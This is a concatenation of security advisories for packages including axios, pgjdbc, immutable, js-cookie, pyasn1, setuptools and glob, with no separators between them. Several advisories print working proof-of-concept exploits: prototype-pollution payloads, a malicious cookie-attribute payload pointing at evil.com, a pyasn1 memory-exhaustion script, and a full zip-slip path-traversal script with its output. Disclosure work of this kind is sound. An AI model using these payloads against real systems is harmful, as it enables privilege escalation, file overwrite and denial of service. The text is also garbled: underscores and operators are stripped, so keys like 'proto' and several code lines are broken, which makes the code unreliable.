Summary Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.
This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTPPROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPSPROXY is unset or the redirect target is excluded by NOPROXY.
Details In the current implementation:
- setProxy() adds Proxy-Authorization when a proxy with credentials is in use. - On redirects, Axios re-invokes setProxy() for the redirected request. - If the redirected URL re-evaluates to "no proxy", setProxy() does not clear the previously added Proxy-Authorization header. - The redirected request therefore reuses the stale header and sends it to the final origin.
Relevant code locations:
- lib/adapters/http.js - setProxy() adds Proxy-Authorization - redirect handling re-applies proxy logic through beforeRedirects.proxy - no cleanup is performed when the recomputed redirect request no longer uses a proxy
PoC 1. The victim sends GET http://<attacker-site>/start 2. The request goes through a local authenticated corp proxy 3. The attacker-controlled HTTP endpoint returns 302 Location: https://<attacker-site>/final 4. The redirected HTTPS request no longer uses a proxy 5. The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header
Observed output:
text [corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz [attacker-http] GET /start [attacker-https] GET /final [attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.
This demonstrates that the proxy credential is exposed to the redirect target origin.
Impact Exposes authenticated proxy credentials to an attacker-controlled origin. </details>
---
Summary pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.
Impact A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.
In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.
This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.
A user is vulnerable when all of the following are true:
1. The connection uses SCRAM-SHA-256 authentication. 2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint. 3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.
In practice, that can happen in these situations:
- the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control - the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources - the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised - the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server - an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection - an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)
The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.
Patches The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.
Workarounds
Until a patched version of pgjdbc is deployed, the following measures reduce exposure:
1. Only connect to trusted PostgreSQL servers whose identity is verified. Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.
2. Do not rely on loginTimeout as a complete mitigation on unpatched versions. On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.
3. Avoid SCRAM on untrusted or interceptable connection paths. For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.
4. Reduce blast radius operationally. Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.
5. On trusted servers you control, keep SCRAM iteration counts at ordinary values. This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
spdystream is a Go library for multiplexing streams over SPDY connections. In versions 0.5.0 and below, the SPDY/3 frame parser does not validate attacker-controlled counts and lengths before allocating memory. Three allocation paths are affected: the SETTINGS frame entry count, the header count in parseHeaderValueBlock, and individual header field sizes — all read as 32-bit integers and used directly as allocation sizes with no bounds checking. Because SPDY header blocks are zlib-compressed, a small on-the-wire payload can decompress into large attacker-controlled values. A remote peer that can send SPDY frames to a service using spdystream can exhaust process memory and cause an out-of-memory crash with a single crafted control frame. This issue has been fixed in version 0.5.1.
multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit.
severity
HIGH (availability / remote request amplification)
relevant links
- repository: https://github.com/open-telemetry/opentelemetry-go - pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58
vulnerability details
pins: open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a as-of: 2026-02-04 policy: direct (no program scope provided)
callsite: propagation/baggage.go:58 (extractMultiBaggage) attacker control: inbound HTTP request headers (many baggage field-values) → propagation.HeaderCarrier.Values("baggage") → repeated baggage.Parse + member aggregation
root cause
extractMultiBaggage iterates over all baggage header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).
impact
in a default net/http configuration (max header bytes 1mb), a single request with many baggage: header field-values can cause large per-request allocations and increased latency.
example from the attached PoC harness (darwin/arm64; 80 values; 40 requests):
- canonical: perreqallocbytes=10315458 and p95ms=7 - control: perreqallocbytes=133429 and p95ms=0
proof of concept
canonical:
bash mkdir -p poc unzip poc.zip -d poc cd poc make test
output (excerpt):
[CALLSITEHIT]: propagation/baggage.go:58 extractMultiBaggage [PROOFMARKER]: baggagemultivalueamplification p95ms=7 perreqallocbytes=10315458 perreqallocs=16165
control:
bash cd poc make control
control output (excerpt):
[NCMARKER]: baggagesinglevaluebaseline p95ms=0 perreqallocbytes=133429 perreqallocs=480
expected: multiple baggage header field-values should be semantically equivalent to a single comma-joined baggage value and should not multiply parsing/alloc work within the effective header byte budget. actual: multiple baggage header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.
fix recommendation
avoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).
fix accepted when: under the default PoC harness settings, canonical stays within 2x of control for perreqallocbytes and perreqallocs, and p95ms stays below 2ms.
poc.zip PRDESCRIPTION.md
Impact
The remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.
Patches Has the problem been patched? What versions should users upgrade to?
Fixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.
Workarounds User who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.
Impact
Users who use Azure AD remote write with OAuth authentication are impacted.
The clientsecret field in the Azure AD remote write OAuth configuration (storage/remote/azuread) was typed as string instead of Secret. Prometheus redacts fields of type Secret when serving the configuration via the /-/config HTTP API endpoint. Because the field was a plain string, the Azure OAuth client secret was exposed in plaintext to any user or process with access to that endpoint.
Patches
The problem has been patched by changing ClientSecret in OAuthConfig to Secret. Users should upgrade to 3.11.3 or 3.5.3 LTS.
Workarounds
Users who can not upgrade can switch to Managed Identity or Workload Identity authentication for Azure AD remote write, which do not involve a client secret.
Impact What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
Affected APIs
| API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] | | mergeDeepWith(merger, target, source) | Same code path | | merge(target, source) | Shallow variant, same assignment logic | | Map.toJS() | object[k] = v in toObject() with no proto guard | | Map.toObject() | Same toObject() implementation | | Map.mergeDeep(source) | When source is converted to plain object |
Patches Has the problem been patched? What versions should users upgrade to?
| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |
Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?
- Validate user input - Node.js flag --disable-proto - Lock down built-in objects - Avoid lookups on the prototype - Create JavaScript objects with null prototype
Proof of Concept
PoC 1 — mergeDeep privilege escalation
javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","proto":{"role":"admin","admin":true}}', );
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via proto!
// Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"proto":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with proto key const m = Map({ user: "alice" }).set("proto", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with proto key const m2 = Map({ user: "alice" }).set("proto", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true
// 6. Nested path const nested = JSON.parse('{"profile":{"proto":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe)
Verified output against immutable@5.1.4:
mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted
References Are there any links users can visit to find out more?
- JavaScript prototype pollution
Denial of Service via proto Key in mergeConfig
Summary
The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing proto as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.
Details
The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
javascript utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); });
When prop is 'proto':
1. JSON.parse('{"proto": {...}}') creates an object with proto as an own enumerable property 2. Object.keys() includes 'proto' in the iteration 3. mergeMap['proto'] performs prototype chain lookup, returning Object.prototype (truthy object) 4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype 5. Object.prototype(...) throws TypeError: merge is not a function
The mergeConfig function is called by:
- Axios.request() at lib/core/Axios.js:75 - Axios.getUri() at lib/core/Axios.js:201 - All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
javascript import axios from "axios";
const maliciousConfig = JSON.parse('{"proto": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig);
Reproduction steps:
1. Clone axios repository or npm install axios 2. Create file poc.mjs with the code above 3. Run: node poc.mjs 4. Observe the TypeError crash
Verified output (axios 1.13.4):
TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9)
Control tests performed: | Test | Config | Result | |------|--------|--------| | Normal config | {"timeout": 5000} | SUCCESS | | Malicious config | JSON.parse('{"proto": {"x": 1}}') | CRASH | | Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |
Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"proto": {"x": 1}}.
Impact
Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.
Affected environments:
- Node.js servers using axios for HTTP requests - Any backend that passes parsed JSON to axios configuration
This is NOT prototype pollution - the application crashes before any assignment occurs.
Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.
Impact
A bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as {a}{b}{c}:z. The generated regex grows exponentially with the number of groups, causing denial of service.
Patches
Fixed in version 8.4.0.
Workarounds
Limit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.
Summary
js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.
Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.
Impact
Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker
A payload of {"proto":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None
Affected code
js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable 'proto' target[key] = source[key] // [[Set]] form - fires proto setter } } return target } Proof of concept
Node 22.11.0, no third-party deps:
Environment setup bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie
PoC js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } };
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse( '{"proto":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' );
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);
Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />
Suggested patch
diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === 'proto' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target }
Equivalent one-liner alternative - iterate own names only and filter:
js for (const key of Object.getOwnPropertyNames(source)) { if (key === 'proto') continue target[key] = source[key] }
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS: py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource
Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMITAS, (10010241024, 10010241024)) print("[] Memory limit set to 100MB") except: print("[-] Could not set memory limit")
Test with different payload sizes to find the DoS threshold payloadsizemb = int(sys.argv[1])
print(f"[] Testing with {payloadsizemb}MB payload...")
payloadsize = payloadsizemb 1024 1024 Create payload with continuation octets Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' payloadsize + b'\x00' length = len(payload)
DER length encoding (supports up to 4GB) if length < 128: lengthbytes = bytes([length]) elif length < 256: lengthbytes = b'\x81' + length.tobytes(1, 'big') elif length < 2562: lengthbytes = b'\x82' + length.tobytes(2, 'big') elif length < 2563: lengthbytes = b'\x83' + length.tobytes(3, 'big') else: # 4 bytes can handle up to 4GB lengthbytes = b'\x84' + length.tobytes(4, 'big')
Use OID (0x06) for more aggressive parsing maliciouspacket = b'\x06' + lengthbytes + payload
print(f"[] Packet size: {len(maliciouspacket) / 1024 / 1024:.1f} MB")
try: print("[] Decoding (this may take time or exhaust memory)...") result = decoder.decode(maliciouspacket, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string print('[] Converting to string...') try: strresult = str(result[0]) print(f'[+] String succeeded: {len(strresult)} chars') if len(strresult) > 10000: print(f'[!] MEMORY EXPLOSION: {len(strresult)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).name} during string conversion')
except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).name}: {e}')
print("\n[] Test completed")
Screenshots with the results:
DoS <img width="944" height="207" alt="Screenshot20251219160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />
<img width="931" height="231" alt="Screenshot20251219152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />
Leak analysis
A potential heap leak was investigated but came back clean: [] Creating 1000KB payload... [] Decoding with pyasn1... [] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heapdump.bin
[] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1%
Scenario
1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1
Details def downloadurl(self, url, tmpdir): # Determine download filename # name, fragment = egginfoforurl(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '') else: name = "downloaded" # default if URL has no path contents
if name.endswith('.egg.zip'): name = name[:-4] # strip the extra .zip before download
--> filename = os.path.join(tmpdir, name)
Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/packageindex.py#L810C1-L825C88
os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.
Risk Assessment As easyinstall and packageindex are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.
Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.
References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946
Summary There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in jaraco.context.tarball() function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The stripfirstcomponent filter splits the path on the first / and extracts the second component, while allowing ../ sequences. Paths like dummydir/../../etc/passwd become ../../etc/passwd. Note that this suffers from a nested tarball attack as well with multi-level tar files such as dummydir/inner.tar.gz, where the inner.tar.gz includes a traversal dummydir/../../config/.env that also gets translated to ../../config/.env.
The code can be found: - https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/init.py#L74-L91 - https://github.com/pypa/setuptools/blob/main/setuptools/vendor/jaraco/context.py#L55-L76 (inherited)
This report was also sent to setuptools maintainers and they asked some questions regarding this.
The lengthy answer is:
The vulnerability seems to be the stripfirstcomponent filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball). The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.
The short answer is:
If we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.
Sampled tests: <img width="1634" height="245" alt="image" src="https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb" />
Details
The flow with setuptools in the mix: setuptools.vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|') as tf: > tf.extractall(path=targetdir, filter=stripfirstcomponent) > stripfirstcomponent (Vulnerable)
PoC
This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies: py #!/usr/bin/env python3 import tarfile import io import os import sys import shutil import tempfile from setuptools.vendor.jaraco.context import stripfirstcomponent
def createmalicioustarball(): tardata = io.BytesIO() with tarfile.open(fileobj=tardata, mode='w') as tar: # Create a malicious file path with traversal sequences maliciousfiles = [ # Attempt 1: Simple traversal to /tmp { 'path': 'dummydir/../../tmp/pwnedbyzipslip.txt', 'content': b'[ZIPSLIP] File written to /tmp via path traversal!', 'name': 'pwnedviatmp' }, # Attempt 2: Try to write to home directory { 'path': 'dummydir/../../../../home/pwnedhome.txt', 'content': b'[ZIPSLIP] Attempted write to home directory', 'name': 'pwnedviahome' }, # Attempt 3: Try to write to current directory parent { 'path': 'dummydir/../escaped.txt', 'content': b'[ZIPSLIP] File in parent directory!', 'name': 'pwnedescaped' }, # Attempt 4: Legitimate file for comparison { 'path': 'dummydir/legitimatefile.txt', 'content': b'This file stays in target directory', 'name': 'legitimate' } ] for fileinfo in maliciousfiles: content = fileinfo['content'] tarinfo = tarfile.TarInfo(name=fileinfo['path']) tarinfo.size = len(content) tar.addfile(tarinfo, io.BytesIO(content))
tardata.seek(0) return tardata
def exploitzipslip(): print("[] Target: setuptools.vendor.jaraco.context.tarball()")
# Create temporary directory for extraction tempbase = tempfile.mkdtemp(prefix="zipsliptest") targetdir = os.path.join(tempbase, "extractiontarget")
try: os.mkdir(targetdir) print(f"[+] Created target extraction directory: {targetdir}")
# Create malicious tarball print("[] Creating malicious tar archive...") tardata = createmalicioustarball()
try: with tarfile.open(fileobj=tardata, mode='r') as tf: for member in tf: # Apply the ACTUAL vulnerable function from setuptools processedmember = stripfirstcomponent(member, targetdir) print(f"[] Extracting: {member.name:40} -> {processedmember.name}") # Extract to target directory try: tf.extract(processedmember, path=targetdir) print(f" ✓ Extracted successfully") except (PermissionError, FileNotFoundError) as e: print(f" ! {type(e).name}: Path traversal ATTEMPTED") except Exception as e: print(f"[!] Extraction raised exception: {type(e).name}: {e}") # Check results print("[] Checking for extracted files...")
# Check target directory print(f"[] Files in target directory ({targetdir}):") if os.path.exists(targetdir): for root, , files in os.walk(targetdir): level = root.replace(targetdir, '').count(os.sep) indent = ' ' 2 level print(f"{indent}{os.path.basename(root)}/") subindent = ' ' 2 (level + 1) for file in files: filepath = os.path.join(root, file) try: with open(filepath, 'r') as f: content = f.read()[:50] print(f"{subindent}{file}") print(f"{subindent} └─ {content}...") except: print(f"{subindent}{file} (binary)") else: print(f"[!] Target directory not found!") print() print("[] Checking for traversal attempts...") print()
# Check if files escaped traversalattempts = [ ("/tmp/pwnedbyzipslip.txt", "Escape to /tmp"), (os.path.expanduser("~/pwnedhome.txt"), "Escape to home"), (os.path.join(tempbase, "escaped.txt"), "Escape to parent"), ]
escaped = False for checkpath, description in traversalattempts: if os.path.exists(checkpath): print(f"[+] Path Traversal Confirmed: {description}") print(f" File created at: {checkpath}") try: with open(checkpath, 'r') as f: content = f.read() print(f" Content: {content}") print(f" Removing: {checkpath}") os.remove(checkpath) except Exception as e: print(f" Error reading: {e}") escaped = True else: print(f"[-] OK: {description} - No escape detected")
if escaped: print("[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!") else: print("[-] No path traversal detected (mitigation in place)")
finally: # Cleanup print() print(f"[] Cleaning up: {tempbase}") try: shutil.rmtree(tempbase) except Exception as e: print(f"[!] Cleanup error: {e}")
def checkpythonversion(): print(f"[+] Python version: {sys.version}") # Python 3.11.4+ added DEFAULTFILTER if hasattr(tarfile, 'DEFAULTFILTER'): print("[+] Python has DEFAULTFILTER (tarfile security hardening)") else: print("[!] Python does not have DEFAULTFILTER (older version)") print()
if name == "main": checkpythonversion() exploitzipslip()
Output: [+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] [!] Python does not have DEFAULTFILTER (older version)
[] Target: setuptools.vendor.jaraco.context.tarball() [+] Created target extraction directory: /tmp/zipsliptesttnu3qpd5/extractiontarget [] Creating malicious tar archive... [] Extracting: ../../tmp/pwnedbyzipslip.txt -> ../../tmp/pwnedbyzipslip.txt ✓ Extracted successfully [] Extracting: ../../../../home/pwnedhome.txt -> ../../../../home/pwnedhome.txt ! PermissionError: Path traversal ATTEMPTED [] Extracting: ../escaped.txt -> ../escaped.txt ✓ Extracted successfully [] Extracting: legitimatefile.txt -> legitimatefile.txt ✓ Extracted successfully [] Checking for extracted files... [] Files in target directory (/tmp/zipsliptesttnu3qpd5/extractiontarget): extractiontarget/ legitimatefile.txt └─ This file stays in target directory...
[] Checking for traversal attempts...
[-] OK: Escape to /tmp - No escape detected [-] OK: Escape to home - No escape detected [+] Path Traversal Confirmed: Escape to parent File created at: /tmp/zipsliptesttnu3qpd5/escaped.txt Content: [ZIPSLIP] File in parent directory! Removing: /tmp/zipsliptesttnu3qpd5/escaped.txt [+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!
[] Cleaning up: /tmp/zipsliptesttnu3qpd5
Impact
- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files. - Privesc (LOW exploitability) - Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.
Remediation
I guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter stripfirstcomponent that skips or sanitizes ../ character sequences since it is already there eg. if member.name.startswith('/') or '..' in member.name: raise ValueError(f"Attempted path traversal detected: {member.name}")
React Router is a router for React. In versions 7.0.0 through 7.14.1, when using Framework Mode, a combination of steps could potentially allow unauthorized remote code execution (RCE) through external requests. This attack requires the application code to have an existing prototype pollution vulnerability, which can then be leveraged in a 2-step attack where the second step triggers unauthorized RCE on the remote server. This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>). This is patched in version 7.14.2.
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
Impact
body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.
Patches
this issue is patched in 1.20.3
References
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow: 1. User runs glob -c <command> <pattern> 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using shell: true 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands
Affected Component: - CLI Only: The vulnerability affects only the command-line interface - Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface: - Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using glob -c on untrusted content
